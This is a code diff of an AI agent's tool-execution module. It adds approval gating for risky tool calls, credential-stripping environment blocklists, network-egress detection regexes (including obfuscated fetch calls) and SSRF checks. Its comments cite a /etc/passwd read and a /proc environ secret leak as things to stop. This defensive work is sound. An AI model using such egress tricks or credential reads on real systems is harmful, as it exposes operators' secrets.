+    r"\bnew\s+(?:Shared)?Worker\s*\(|"
+    r"@import|"
+    r"url\(\s*[\"']?\s*(?:https?:|/)|"
+    r"<script[^>]*\bsrc\s*=|"
+    r"\b(?:src|href|srcset)\s*=\s*[\"']?\s*(?:https?:|/)|"
+    # Self-navigation sinks: location.assign/replace(...), window.open(...), and
+    # assigning a URL to (window.)location(.href). location.reload()/history.back
+    # do not navigate to a new URL, so they stay static.
+    r"\blocation\s*\.\s*(?:assign|replace)\s*\(|"
+    r"\bwindow\s*\.\s*open\s*\(|"
+    r"\b(?:window\s*\.\s*)?location(?:\s*\.\s*href)?\s*=\s*[\"'`]?\s*(?:https?:|/)|"
+    # Bracket-access obfuscation: window['fetch'](...), self["open"](...).
+    r"\[\s*[\"'](?:fetch|open|XMLHttpRequest|WebSocket|EventSource|importScripts|"
+    r"sendBeacon|serviceWorker)[\"']\s*\]|"
+    # Computed bracket key spliced at runtime on a global host object
+    # (window['fet'+'ch'](...)): a quoted fragment adjacent to a + inside the
+    # index. Anchored to a host object so a plain obj['a'+'b'] key stays safe.
+    r"\b(?:window|self|globalThis|top|parent|frames)\s*\[[^\]]*"
+    r"(?:[\"']\s*\+|\+\s*[\"'])[^\]]*\]|"
+    # Declarative meta-refresh navigation to a URL (order-tolerant); a bare
+    # content="30" self-reload has no url= and stays static.
+    r"<meta\b(?=[^>]*http-equiv\s*=\s*[\"']?\s*refresh)(?=[^>]*\burl\s*=)|"
+    r"\bwss?://",
+    re.IGNORECASE,
+)
+# Block comments can split an egress token (fetch/*x*/(...)); strip them before
+# matching. Line // comments are left alone -- stripping them would eat the // in
+# an https:// URL and hide a real load.
+_JS_BLOCK_COMMENT_RE = re.compile(r"/\*.*?\*/", re.DOTALL)
+
+
+def _render_html_reaches_network(arguments: dict) -> bool:
+    code = arguments.get("code")
+    if not isinstance(code, str):
+        return False
+    return bool(_RENDER_HTML_NETWORK_RE.search(_JS_BLOCK_COMMENT_RE.sub("", code)))
+
+
+# Tools that are read-only regardless of their arguments, so auto mode never has
+# to pause them and their safety needs no argument scan. render_html is handled
+# separately above because a networked canvas does need approval.
+_ALWAYS_SAFE_TOOLS = frozenset({"web_search", "search_knowledge_base"})
+
+
+def is_always_safe_tool(name: str) -> bool:
+    """True for tools that never need an auto-mode prompt on any arguments, so a
+    caller (e.g. the streaming provisional card) can allow them before the full
+    arguments are known. render_html is intentionally excluded: a networked
+    canvas needs approval, which cannot be judged before its arguments stream."""
+    return name in _ALWAYS_SAFE_TOOLS
+
+
+def is_potentially_unsafe_tool_call(name: str, arguments: dict) -> bool:
+    """Whether a tool call must still pause for approval in auto mode.
+
+    Used by permission_mode="auto" ("Approve for me"): read-only calls
+    auto-run, anything that can mutate state, execute arbitrary code, or is
+    simply unrecognized asks first. Unknown tools fail closed.
+    """
+    if name in _ALWAYS_SAFE_TOOLS:
+        return False
+    # render_html auto-runs a static canvas but asks once its HTML/JS reaches the
+    # network (fetch/WebSocket/remote script), which can egress under the canvas
+    # CSP when artifact network access is enabled.
+    if name == "render_html":
+        return _render_html_reaches_network(arguments)
+    if name.startswith(MCP_TOOL_PREFIX):
+        tool_name = name.split("__", 2)[-1]
+        # A mutating verb anywhere (get_or_create_issue, read_and_delete)
+        # overrides a read-only prefix.
+        if _AUTO_UNSAFE_MCP_VERB_RE.search(tool_name):
+            return True
+        # A credential noun (read_secret, list_tokens, get_credentials) makes a
+        # read-named tool a sensitive disclosure, so it asks too.
+        if _AUTO_SENSITIVE_MCP_NOUN_RE.search(tool_name):
+            return True
+        # A read-named fs tool pointed at a credential path is still a
+        # sensitive read (mcp__fs__read_file {"path": "/etc/passwd"}).
+        if _mcp_arguments_reference_sensitive(arguments):
+            return True
+        # A read-named tool carrying a mutating query (query_database
+        # {"query": "DELETE FROM runs"}) still mutates external state.
+        if _mcp_arguments_mutate(arguments):
+            return True
+        return not _AUTO_SAFE_MCP_TOOL_RE.match(tool_name)
+    if name == "terminal":
+        return _terminal_is_potentially_unsafe(str(arguments.get("command", "")))
+    if name == "python":
+        return _python_is_potentially_unsafe(str(arguments.get("code", "")))
+    return True
+
+
 def _build_safe_env(workdir: str) -> dict[str, str]:
     """Build a minimal, credential-free environment for sandboxed subprocesses.
 
     Whitelist-built from scratch (parent env NOT inherited): only PATH/HOME/
-    TMPDIR/LANG/TERM/PYTHONIOENCODING (+VIRTUAL_ENV or Windows SystemRoot) reach
-    the child; all credential vars (HF_TOKEN, AWS_*, etc.) are absent. HOME
-    points at the sandbox workdir so SDKs can't read the operator's cached creds.
+    TMPDIR/LANG/TERM/PYTHONIOENCODING/PYTHONPATH (+VIRTUAL_ENV or Windows
+    SystemRoot) reach the child; all credential vars (HF_TOKEN, AWS_*, etc.)
+    are absent. HOME points at the sandbox workdir so SDKs can't read the
+    operator's cached creds. PYTHONPATH carries only the sandbox sitecustomize
+    shim directory.
     """
     # Start from the running interpreter's dir so 'python'/'pip' resolve to the
-    # same environment the Studio server runs in.
+    # same environment the Unsloth server runs in.
     exe_dir = os.path.dirname(sys.executable)
     path_entries = [exe_dir] if exe_dir else []
 
@@ -307,6 +2529,9 @@ def _build_safe_env(workdir: str) -> dict[str, str]:
         "LANG": os.environ.get("LANG", "C.UTF-8"),
         "TERM": "dumb",
         "PYTHONIOENCODING": "utf-8",
+        # sitecustomize shim: remaps ChatGPT code-interpreter paths (/mnt/data
+        # etc.) onto the sandbox CWD; see sandbox_site/sitecustomize.py.
+        "PYTHONPATH": _SANDBOX_SITE_DIR,
     }
     if venv:
         env["VIRTUAL_ENV"] = venv
@@ -341,13 +2566,10 @@ _BYPASS_ENV_SECRET_NAMES = frozenset(
         "KAGGLE_KEY",
         "MYSQL_PWD",  # exact name: markers use PASSWD, not PWD (PWD is the cwd var)
         "LD_PRELOAD",
-        # Auth brokers / capability handles: not secrets by value, but they
-        # hand the child the operator's live agent (ssh/gpg), kube config, or
-        # docker daemon. Names are listed because there is no value signal to
-        # key off. URL config vars (HTTP_PROXY, PIP_INDEX_URL, DATABASE_URL,
-        # ...) are intentionally NOT name-listed: a benign proxy/index without
-        # credentials must keep working in bypass mode, while a credentialed
-        # value is dropped by _is_secret_env_value() regardless of its name.
+        # Auth brokers / capability handles: hand the child the operator's live
+        # agent (ssh/gpg), kube config, or docker daemon. Listed by name (no
+        # value signal). URL config vars are NOT name-listed: a credentialed
+        # value is dropped by _is_secret_env_value() regardless of name.
         "SSH_AUTH_SOCK",
         "SSH_AGENT_PID",
         "GPG_AGENT_INFO",
@@ -367,37 +2589,30 @@ _BYPASS_ENV_SECRET_MARKERS = (
     "CREDENTIAL",
     "PRIVATE_KEY",
     "AUTH",  # e.g. NPM_CONFIG__AUTH (npm _auth), REDISCLI_AUTH
-    # Azure App Service connection strings: SQLCONNSTR_/CUSTOMCONNSTR_/... and
-    # WEBSITE_CONTENTAZUREFILECONNECTIONSTRING carry DB/storage credentials.
+    # Azure App Service connection strings carry DB/storage credentials.
     "CONNSTR",
     "CONNECTIONSTRING",
 )
 # Non-secret hardening flags that match a secret prefix/marker but must be KEPT
-# so bypass mode does not silently undo an operator's opt-out. AWS_EC2_METADATA_
-# DISABLED tells the AWS SDK/CLI not to pull instance-role creds from IMDS;
-# dropping it would re-open that path for a bypassed tool.
+# so bypass mode does not undo an operator's opt-out (e.g.
+# AWS_EC2_METADATA_DISABLED blocks the AWS SDK from pulling IMDS creds).
 _BYPASS_ENV_KEEP_NAMES = frozenset(
     {
         "AWS_EC2_METADATA_DISABLED",
         "AWS_EC2_METADATA_V1_DISABLED",
     }
 )
-# Matches a URL that embeds userinfo before the host, covering both
-# "scheme://user:pass@host" and token-only "scheme://token@host" (and
-# percent-encoded variants). The userinfo must precede the first '/', so an '@'
-# in a path or query does not false-positive. Used to scrub credential-bearing
-# URL values regardless of the variable's name.
+# Matches a URL embedding userinfo before the host ("scheme://user:pass@host"
+# and token-only forms). The userinfo must precede the first '/', so an '@' in
+# a path/query does not false-positive.
 _URL_USERINFO_RE = re.compile(r"://[^/\s@]+@")
-# Connection-string credential fields (ADO.NET / Azure storage / Service Bus):
-# "...;Password=...", "...;AccountKey=...", "...;SharedAccessKey=...". Catches
-# credential-bearing values whose names dodge the name classifier. "accesskey"
-# also covers Shared/Secret AccessKey via substring; the Name fields (e.g.
-# SharedAccessKeyName=) do not match since "=" must follow the keyword.
+# Connection-string credential fields (ADO.NET / Azure storage / Service Bus)
+# whose names dodge the name classifier. The Name fields (SharedAccessKeyName=)
+# don't match since "=" must follow the keyword.
 _SECRET_VALUE_RE = re.compile(r"(?i)(?:password|pwd|accountkey|accesskey)\s*=\s*[^\s;]")
 
-# Names that hold no secret value but point SDKs at the operator's real
+# Names holding no secret value but pointing SDKs at the operator's real
 # home/cache/config (cached tokens, cred files), defeating the HOME repoint.
-# Startup always sets HF_HOME (-> $HF_HOME/token), so this is the live leak.
 # Dropped in bypass mode so tools fall back to the empty repointed HOME.
 _BYPASS_ENV_CRED_LOCATION_NAMES = frozenset(
     {
@@ -478,12 +2693,12 @@ def _is_secret_env_value(value: str) -> bool:
 
 
 def _build_bypass_env(workdir: str) -> dict[str, str]:
-    """Env for bypass exec: full host env (unrestricted) minus credential vars,
-    with HOME/TMPDIR repointed at the workdir so SDKs cannot read cached creds.
+    """Env for bypass exec: full host env minus credential vars, with HOME/TMPDIR
+    repointed at the workdir so SDKs cannot read cached creds.
 
-    Note: stripping the child env is necessary but not sufficient on its own -
-    a same-UID child can still read the parent's environment via procfs, so
-    callers also harden the parent (see _harden_parent_against_proc_env_leak).
+    Stripping the child env is necessary but not sufficient (a same-UID child can
+    read the parent's env via procfs), so callers also harden the parent (see
+    _harden_parent_against_proc_env_leak).
     """
     env = {
         k: v
@@ -498,6 +2713,12 @@ def _build_bypass_env(workdir: str) -> dict[str, str]:
     # the bypassed tool writes under the per-session sandbox dir on every OS.
     env["TEMP"] = workdir
     env["TMP"] = workdir
+    # sitecustomize path shim (see _build_safe_env). Bypass inherits the
+    # operator's PYTHONPATH, so prepend rather than replace.
+    inherited_pythonpath = env.get("PYTHONPATH", "")
+    env["PYTHONPATH"] = os.pathsep.join(
+        part for part in (_SANDBOX_SITE_DIR, inherited_pythonpath) if part
+    )
     # Windows SDKs read creds under the profile dirs, not $HOME; repoint set
     # ones to the workdir (HOMEDRIVE/HOMEPATH are dropped above).
     for var in _BYPASS_ENV_WINDOWS_PROFILE_VARS:
@@ -571,7 +2792,7 @@ def _bypass_preexec():
     """Minimal pre-exec for bypass exec: os.setsid() only.
 
     Required, not a restriction: _kill_process_tree does killpg(getpgid(child)),
-    so without a new session a timeout/cancel would kill the Studio server too.
+    so without a new session a timeout/cancel would kill the Unsloth server too.
     """
     try:
         os.setsid()
@@ -579,33 +2800,23 @@ def _bypass_preexec():
         pass
 
 
-# Hardening the Studio parent is done once (PR_SET_DUMPABLE is process-global
+# Hardening the Unsloth parent is done once (PR_SET_DUMPABLE is process-global
 # and sticky); guarded so repeated bypass calls do not re-issue the prctl.
 _parent_proc_hardened = False
 
 
 def _harden_parent_against_proc_env_leak() -> bool:
-    """Make the Studio process's /proc/<pid>/environ unreadable to its children.
+    """Make the Unsloth process's /proc/<pid>/environ unreadable to its children.
 
     Stripping the child env is not enough on Linux: a bypassed same-UID child
-    runs unsandboxed and can read /proc/<getppid()>/environ to recover the
-    tool-executing process's *unfiltered* secrets (HF_TOKEN, cloud keys, ...).
-    Clearing the dumpable flag (PR_SET_DUMPABLE=0) reparents this process's
-    /proc entries to root, so a same-UID child can no longer read its environ.
+    can read /proc/<getppid()>/environ to recover the parent's unfiltered
+    secrets. Clearing PR_SET_DUMPABLE reparents this process's /proc entries to
+    root, closing that read.
 
-    Returns True when the process is hardened or hardening is unnecessary (no
-    /proc leak off Linux), and False when it is needed but could not be applied
-    (e.g. prctl denied by a seccomp policy). Callers must fail closed - refuse
-    the unsandboxed exec - when this returns False, rather than running with the
-    parent environ still readable.
-
-    Scope: this closes the direct parent read (the demonstrated leak). It is a
-    mitigation, not a full boundary - a bypassed tool is unsandboxed by design,
-    so it can still walk /proc to a same-UID *ancestor* (e.g. the launching
-    shell) or read on-disk credentials by absolute path. Complete isolation
-    needs a separate uid / PID+mount namespace, which is out of scope here; the
-    UI already warns the mode is dangerous. Applied lazily on first bypass exec
-    so non-bypass operation is unchanged.
+    Returns True when hardened or unnecessary (off Linux), False when needed but
+    unappliable (e.g. prctl denied by seccomp); callers must then fail closed.
+    This is a mitigation, not a full boundary - a bypassed tool can still walk
+    /proc to an ancestor or read creds by path. Applied lazily on first bypass.
     """
     global _parent_proc_hardened
     if _parent_proc_hardened:
@@ -732,11 +2943,20 @@ WEB_SEARCH_TOOL = {
     },
 }
 
+# Appended to the python/terminal descriptions: models habitually write to
+# /mnt/data (a ChatGPT code-interpreter path), which does not exist here.
+_SANDBOX_PATHS_NOTE = (
+    " Read and write files using relative paths in the current working "
+    "directory, which persists for this conversation; absolute paths like "
+    "/mnt/data or /tmp/outputs do not exist."
+)
+
 PYTHON_TOOL = {
     "type": "function",
     "function": {
         "name": "python",
-        "description": "Execute Python code in a sandbox and return stdout/stderr.",
+        "description": "Execute Python code in a sandbox and return stdout/stderr."
+        + _SANDBOX_PATHS_NOTE,
         "parameters": {
             "type": "object",
             "properties": {
@@ -754,7 +2974,7 @@ TERMINAL_TOOL = {
     "type": "function",
     "function": {
         "name": "terminal",
-        "description": "Execute a terminal command and return stdout/stderr.",
+        "description": "Execute a terminal command and return stdout/stderr." + _SANDBOX_PATHS_NOTE,
         "parameters": {
             "type": "object",
             "properties": {
@@ -833,9 +3053,8 @@ ALL_TOOLS = [
 ]
 
 
-# OpenAI's function.name regex ^[a-zA-Z0-9_-]{1,64}$, enforced before streaming.
-# MCP tool names with '.', '/', spaces, etc. would 400 the whole request, so we
-# validate up front and skip with a warning.
+# OpenAI's function.name regex; MCP names that violate it would 400 the whole
+# request, so validate up front and skip with a warning.
 _OPENAI_FN_NAME_RE = re.compile(r"^[a-zA-Z0-9_-]{1,64}$")
 
 
@@ -881,8 +3100,7 @@ def _mcp_specs_for_server(server: dict, mcp_tools: list[dict]) -> list[dict]:
 
 async def get_enabled_mcp_tools() -> list[dict]:
     servers = [s for s in mcp_servers_db.list_servers() if s.get("is_enabled")]
-    # Never spawn stdio servers when stdio is disabled on this host (e.g. a DB
-    # carried from a desktop install onto a Colab/network deployment).
+    # Never spawn stdio servers when stdio is disabled on this host.
     if not stdio_mcp_enabled():
         servers = [s for s in servers if not is_stdio(s["url"])]
     if not servers:
@@ -907,15 +3125,11 @@ async def get_enabled_mcp_tools() -> list[dict]:
             ),
             return_exceptions = True,
         )
-        # An edit/delete can land while we await a probe (up to 305 s for
-        # OAuth); its cache eviction is a no-op against an entry we haven't
-        # written yet. Re-read and drop a result whose server changed or
-        # was removed mid-probe, else a stale tool list caches indefinitely.
+        # An edit/delete can land while we await a probe; re-read and drop a
+        # result whose server changed or was removed mid-probe, else a stale
+        # tool list (or cool-off on a just-fixed server) persists.
         current = {s["id"]: s for s in mcp_servers_db.list_servers()}
         for server, payload in zip(uncached, results):
-            # Guard the failure branch too: a stale failure must not park a
-            # cool-off on the fresh config, or the server the user just fixed
-            # is skipped for the whole window.
             fresh = current.get(server["id"])
             if fresh is None or any(
                 fresh.get(k) != server.get(k) for k in TOOL_CACHE_INVALIDATING_FIELDS
@@ -971,18 +3185,26 @@ def execute_tool(
     cancel_event = None,
     timeout: int | None = _TIMEOUT_UNSET,
     session_id: str | None = None,
+    thread_id: str | None = None,
     rag_scope: dict | None = None,
     disable_sandbox: bool = False,
+    output_callback = None,
 ) -> str:
     """Execute a tool by name with the given arguments; returns a string.
 
     ``timeout``: int seconds, ``None`` = no limit, unset = ``_EXEC_TIMEOUT``.
     ``session_id``: optional ID for per-conversation sandbox isolation.
+    ``thread_id``: optional conversation ID; scopes stateful MCP stdio sessions
+    per thread (session_id alone can be shared project-wide).
     ``rag_scope``: hidden per-request RAG context the model never sees; consumed
     by ``search_knowledge_base``.
     ``disable_sandbox``: Bypass Permissions; run python/terminal without the
     safety checks, blocklist, or resource caps (secrets still stripped). Only
     affects local code tools; web_search / MCP are unchanged.
+    ``output_callback``: optional ``callable(str)`` invoked with incremental
+    stdout/stderr chunks while python/terminal executions run (UI live
+    output). Purely observational: the returned result string is identical
+    with or without it. Tools without incremental output ignore it.
     """
     logger.info(f"execute_tool: name={name}, session_id={session_id}, timeout={timeout}")
     effective_timeout = _EXEC_TIMEOUT if timeout is _TIMEOUT_UNSET else timeout
@@ -1002,20 +3224,48 @@ def execute_tool(
             return f"Error: MCP server '{server_id}' is disabled"
         if is_stdio(server["url"]) and not stdio_mcp_enabled():
             return f"Error: stdio MCP server '{server_id}' is disabled on this host"
+        # Persist a stateful stdio session only per conversation (thread_id).
+        # session_id is the project-wide sandbox id, so scoping by it alone leaks
+        # browser/DB/REPL state across conversations; fall back to one-shot. Tag +
+        # percent-quote the parts so ids can't collide or ":" merge conversations.
+        if thread_id:
+            mcp_scope = "s={}:t={}".format(
+                urllib.parse.quote(session_id or "", safe = ""),
+                urllib.parse.quote(thread_id, safe = ""),
+            )
+        else:
+            mcp_scope = None
+        headers = parse_server_headers(server)
+        url = server["url"]
+
+        def _config_current() -> bool:
+            # Re-read before a stdio session is cached: this call may have read
+            # the row just before an update/delete closed its sessions.
+            row = mcp_servers_db.get_server(server_id)
+            return (
+                row is not None
+                and bool(row.get("is_enabled"))
+                and row.get("url") == url
+                and parse_server_headers(row) == headers
+            )
+
         return call_tool_sync(
-            url = server["url"],
-            headers = parse_server_headers(server),
+            url = url,
+            headers = headers,
             name = tool_name,
             args = arguments,
             timeout = effective_timeout,
             use_oauth = bool(server.get("use_oauth")),
             cancel_event = cancel_event,
+            scope = mcp_scope,
+            config_check = _config_current,
         )
     if name == "web_search":
         return _web_search(
             arguments.get("query", ""),
             url = arguments.get("url"),
             timeout = effective_timeout,
+            cancel_event = cancel_event,
         )
     if name == "python":
         return _python_exec(
@@ -1024,6 +3274,7 @@ def execute_tool(
             effective_timeout,
             session_id,
             disable_sandbox = disable_sandbox,
+            output_callback = output_callback,
         )
     if name == "terminal":
         return _bash_exec(
@@ -1032,6 +3283,7 @@ def execute_tool(
             effective_timeout,
             session_id,
             disable_sandbox = disable_sandbox,
+            output_callback = output_callback,
         )
     return f"Unknown tool: {name}"
 
@@ -1237,11 +3489,10 @@ def build_rag_autoinject(conversation: list[dict], rag_scope: dict | None) -> di
     sidebar_k = _opt_int(rag_scope.get("default_top_k"))
     top_k = min(sidebar_k, lean_k) if sidebar_k is not None else lean_k
 
-    # Whole-document mode: a thread-attached file under budget is injected in full so
-    # the model reads everything. A KB selection is exclusive, so whole-doc never
-    # preempts it; in a project chat the project sources are still retrieved top-K and
-    # appended under one citation numbering. Oversized files (or no thread doc) fall
-    # through to the combined top-K retrieval below.
+    # Whole-document mode: a thread-attached file under budget is injected in
+    # full. A KB selection is exclusive so whole-doc never preempts it; project
+    # sources are still retrieved top-K and appended under one citation
+    # numbering. Oversized/absent thread docs fall through to top-K below.
     if whole_doc_requested:
         try:
             budget = _whole_doc_budget(rag_scope, conversation)
@@ -1346,10 +3597,118 @@ def build_rag_autoinject(conversation: list[dict], rag_scope: dict | None) -> di
 
 
 _MAX_PAGE_CHARS = 16000  # cap fetched page text (after HTML-to-MD conversion)
-# Raw download cap > _MAX_PAGE_CHARS because SSR pages embed large <head>
-# sections stripped during conversion; 512 KB reaches article content even
-# where <head> alone is ~200 KB.
+# Raw download cap > _MAX_PAGE_CHARS since SSR pages embed large <head> sections
+# stripped during conversion; 512 KB still reaches article content.
 _MAX_FETCH_BYTES = 512 * 1024
+# PDF cross-reference data lives at EOF, so extraction needs the whole body.
+_MAX_PDF_FETCH_BYTES = 10 * 1024 * 1024
+_MAX_WEB_PDF_PAGES = 50
+# Control/undecodable chars, excluding text whitespace and ESC (for ANSI logs).
+# Binary when they exceed 12.5%, after allowing 16 minor encoding glitches.
+_BINARY_CHAR_RE = re.compile("[\\x00-\\x08\\x0b\\x0c\\x0e-\\x1a\\x1c-\\x1f\\x7f-\\x9f\\ufffd]")
+_MIN_BINARY_CHARS = 16
+_BINARY_CHAR_DIVISOR = 8
+# Common binary signatures that can otherwise look text-heavy when mislabeled.
+_PDF_MAGIC = b"%PDF-"
+_BINARY_MAGIC = (
+    _PDF_MAGIC,
+    b"PK\x03\x04",  # zip / docx / xlsx / pptx / epub / jar
+    b"\xd0\xcf\x11\xe0\xa1\xb1\x1a\xe1",  # OLE / legacy Office
+    b"\x89PNG\r\n\x1a\n",  # PNG
+    b"\xff\xd8\xff",  # JPEG
+    b"GIF87a",
+    b"GIF89a",
+    b"\x1f\x8b",  # gzip
+    b"BZh",  # bzip2
+    b"\xfd7zXZ\x00",  # xz
+    b"\x28\xb5\x2f\xfd",  # zstd
+)
+
+# Check UTF-32 first because its little-endian BOM starts with the UTF-16 BOM.
+_UNICODE_BOM_CODECS = (
+    (codecs.BOM_UTF32_LE, "utf-32"),
+    (codecs.BOM_UTF32_BE, "utf-32"),
+    (codecs.BOM_UTF16_LE, "utf-16"),
+    (codecs.BOM_UTF16_BE, "utf-16"),
+    (codecs.BOM_UTF8, "utf-8-sig"),
+)
+
+# A cp1252 retry needs 75% ASCII structure so it cannot rescue high-byte binary.
+_MIN_SINGLE_BYTE_ASCII_RATIO = 3 / 4
+_ASCII_TEXT_BYTES = frozenset((*range(0x20, 0x7F), 0x09, 0x0A, 0x0D, 0x1B))
+
+
+def _looks_binary(text: str) -> bool:
+    """Whether control or undecodable characters exceed the binary threshold."""
+    return len(_BINARY_CHAR_RE.findall(text)) > max(
+        _MIN_BINARY_CHARS, len(text) // _BINARY_CHAR_DIVISOR
+    )
+
+
+def _magic_head(data: bytes) -> bytes:
+    head = data[:1024].lstrip()
+    for bom, _codec in _UNICODE_BOM_CODECS:
+        if head.startswith(bom):
+            head = head.removeprefix(bom).lstrip()
+            break
+    return head
+
+
+def _has_pdf_magic(data: bytes) -> bool:
+    return _magic_head(data).startswith(_PDF_MAGIC)
+
+
+def _has_binary_magic(data: bytes) -> bool:
+    """Whether a common binary signature follows optional BOM or whitespace."""
+    return _magic_head(data).startswith(_BINARY_MAGIC)
+
+
+def _has_single_byte_text_evidence(data: bytes) -> bool:
+    """True when *data* has enough ASCII structure for a cp1252 text retry."""
+    if not data:
+        return True
+    ascii_text_bytes = sum(byte in _ASCII_TEXT_BYTES for byte in data)
+    return ascii_text_bytes / len(data) >= _MIN_SINGLE_BYTE_ASCII_RATIO
+
+
+def _extract_pdf_text(data: bytes) -> str:
+    """Extract page-delimited text with the same parser used by RAG ingestion."""
+    from ..rag.parsers import parse_pdf_bytes
+
+    pages, total_pages = parse_pdf_bytes(data, max_pages = _MAX_WEB_PDF_PAGES)
+    page_limit_reached = total_pages > _MAX_WEB_PDF_PAGES
+    parts: list[str] = []
+    length = 0
+    text_limited = False
+    for page in pages:
+        page_text = page.text.strip()
+        if not page_text:
+            continue
+        section = f"## Page {page.page_number}\n\n{page_text}"
+        piece = ("\n\n" if parts else "") + section
+        remaining = _MAX_PAGE_CHARS - length
+        if len(piece) > remaining:
+            parts.append(piece[:remaining])
+            text_limited = True
+            break
+        parts.append(piece)
+        length += len(piece)
+
+    text = "".join(parts).rstrip()
+    if not text:
+        if page_limit_reached:
+            return f"(PDF contains no extractable text in the first {_MAX_WEB_PDF_PAGES} pages)"
+        return ""
+    limits = []
+    if text_limited:
+        limits.append(f"text limited to {_MAX_PAGE_CHARS:,} characters")
+    if page_limit_reached:
+        limits.append(f"page processing capped at {_MAX_WEB_PDF_PAGES} pages")
+    if limits:
+        marker = f"\n\n... (PDF extraction {'; '.join(limits)})"
+        text = text[: _MAX_PAGE_CHARS - len(marker)].rstrip() + marker
+    return text
+
 
 _USER_AGENTS = (
     "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36",
@@ -1431,10 +3790,8 @@ def _validate_and_resolve_host(hostname: str, port: int) -> tuple[bool, str, str
 
     for *_, sockaddr in infos:
         ip = ipaddress.ip_address(sockaddr[0])
-        # `not ip.is_global` is the source of truth: it rejects every category
-        # below PLUS shared/CGNAT (100.64.0.0/10) and benchmarking/doc ranges
-        # Python marks is_private=False and is_global=False. The explicit
-        # predicates only give human-readable categories in the error message.
+        # `not ip.is_global` is the source of truth (also rejects CGNAT and
+        # benchmarking/doc ranges); the explicit predicates only label the error.
         if (
             not ip.is_global
             or ip.is_private
@@ -1451,28 +3808,244 @@ def _validate_and_resolve_host(hostname: str, port: int) -> tuple[bool, str, str
     return True, "", first_ip
 
 
-def _fetch_page_text(
-    url: str,
-    max_chars: int = _MAX_PAGE_CHARS,
-    timeout: int = 30,
-) -> str:
-    """Fetch a URL and return plain text content (HTML tags stripped).
+# Binary application subtypes rejected by MIME; other application types are
+# sniffed so textual artifacts such as SQL stay usable.
+_BINARY_APPLICATION_SUBTYPES = frozenset(
+    {
+        "epub+zip",
+        "gzip",
+        "java-archive",
+        "pdf",
+        "vnd.apple.installer+xml",
+        "wasm",
+        "x-7z-compressed",
+        "x-bzip2",
+        "x-gzip",
+        "x-rar-compressed",
+        "x-tar",
+        "x-xz",
+        "zip",
+        "zstd",
+    }
+)
 
-    Blocks private/loopback/link-local targets (SSRF protection) and caps
-    the download size to avoid unbounded memory usage.
+
+def _is_text_candidate_content_type(content_type: str | None) -> bool:
+    """Whether a MIME type is textual or ambiguous enough for byte sniffing."""
+    match = re.match(r"[\w.+-]+/[\w.+-]+", content_type or "")
+    if not match:
+        return True
+    ct = match.group(0).lower()
+    if ct.startswith("text/"):
+        return True
+    if ct.startswith("application/"):
+        subtype = ct[len("application/") :]
+        return subtype not in _BINARY_APPLICATION_SUBTYPES
+    return False
+
+
+# First path segments on github.com that are site pages, not repo owners.
+_GITHUB_NON_OWNER_SEGMENTS = frozenset(
+    {
+        "about",
+        "apps",
+        "codespaces",
+        "collections",
+        "contact",
+        "customer-stories",
+        "dashboard",
+        "discussions",
+        "enterprise",
+        "explore",
+        "features",
+        "issues",
+        "join",
+        "login",
+        "marketplace",
+        "new",
+        "notifications",
+        "organizations",
+        "orgs",
+        "pricing",
+        "pulls",
+        "search",
+        "security",
+        "settings",
+        "signup",
+        "site",
+        "sponsors",
+        "team",
+        "topics",
+        "trending",
+    }
+)
+_GITHUB_NAME_RE = re.compile(r"\A[A-Za-z0-9_.\-]{1,100}\Z")
+
+
+def _github_repo_readme_api_url(url: str) -> str | None:
+    """README API URL for a ``github.com/{owner}/{repo}`` page, else None.
+
+    A repo root page rendered as HTML is mostly UI chrome (nav, file table,
+    stats); the ``/readme`` API returns the raw README markdown unauthenticated,
+    which is what the model actually wants to read.
+    """
+    from urllib.parse import urlparse
+
+    parsed = urlparse(url)
+    host = (parsed.hostname or "").lower()
+    if host not in ("github.com", "www.github.com"):
+        return None
+    parts = [p for p in parsed.path.split("/") if p]
+    if len(parts) != 2:
+        return None
+    owner, repo = parts
+    if owner.lower() in _GITHUB_NON_OWNER_SEGMENTS:
+        return None
+    if repo.endswith(".git"):
+        repo = repo[: -len(".git")]
+    if not (_GITHUB_NAME_RE.match(owner) and _GITHUB_NAME_RE.match(repo)):
+        return None
+    return f"https://api.github.com/repos/{owner}/{repo}/readme"
+
+
+# A single fetch can chain several steps (README API attempt, HTML fallback, up
+# to five redirect hops, each reading a body). A per-operation socket timeout
+# bounds one stalled step but not their sum, and nothing aborts on client
+# disconnect, so one overall wall-clock deadline (plus a cooperative
+# cancel_event) bounds the whole fetch instead.
+def _fetch_budget_exceeded(deadline, cancel_event):
+    """User-facing error string when the fetch must stop early, else None."""
+    if cancel_event is not None and cancel_event.is_set():
+        return "Failed to fetch URL: cancelled."
+    if deadline is not None and time.monotonic() >= deadline:
+        return "Failed to fetch URL: timed out."
+    return None
+
+
+def _fetch_hop_timeout(timeout, deadline):
+    """Per-operation socket timeout: the lesser of the caller's per-op timeout
+    and the time left on the deadline, so one slow hop cannot overrun the whole
+    budget. Callers check ``_fetch_budget_exceeded`` first, so remaining time is
+    positive here; the tiny floor only guards a race."""
+    if deadline is None:
+        return timeout
+    remaining = deadline - time.monotonic()
+    if remaining <= 0:
+        remaining = 0.001
+    return remaining if timeout is None else min(timeout, remaining)
+
+
+def _resolve_with_budget(hostname, port, deadline, cancel_event):
+    """``_validate_and_resolve_host`` bounded by the overall fetch budget.
+
+    ``getaddrinfo`` is blocking with no deadline of its own, so a slow resolver
+    (or a request cancelled before dispatch) could run past the budget. Resolve
+    on a daemon thread and poll the budget so the fetch aborts on time; the
+    abandoned lookup is discarded. With no deadline and no cancel_event this is a
+    plain synchronous call, so opt-out callers keep the old behavior and cost.
+    """
+    budget_error = _fetch_budget_exceeded(deadline, cancel_event)
+    if budget_error is not None:
+        return False, budget_error, ""
+    if deadline is None and cancel_event is None:
+        return _validate_and_resolve_host(hostname, port)
+
+    result: "queue.Queue" = queue.Queue(maxsize = 1)
+
+    def _resolve():
+        try:
+            result.put(_validate_and_resolve_host(hostname, port))
+        except Exception as exc:  # defensive: never let the worker die silently
+            result.put((False, f"Failed to resolve host: {exc}", ""))
+
+    threading.Thread(target = _resolve, name = "web-fetch-dns", daemon = True).start()
+    while True:
+        budget_error = _fetch_budget_exceeded(deadline, cancel_event)
+        if budget_error is not None:
+            return False, budget_error, ""
+        try:
+            return result.get(timeout = 0.05)
+        except queue.Empty:
+            continue
+
+
+def _read_capped_body(resp, max_bytes, timeout, deadline, cancel_event):
+    """Read up to ``max_bytes``, enforcing the overall budget between chunks.
+
+    A single ``resp.read(max_bytes)`` can block for the whole transfer if the
+    server dribbles bytes just inside each socket-inactivity timeout, so the body
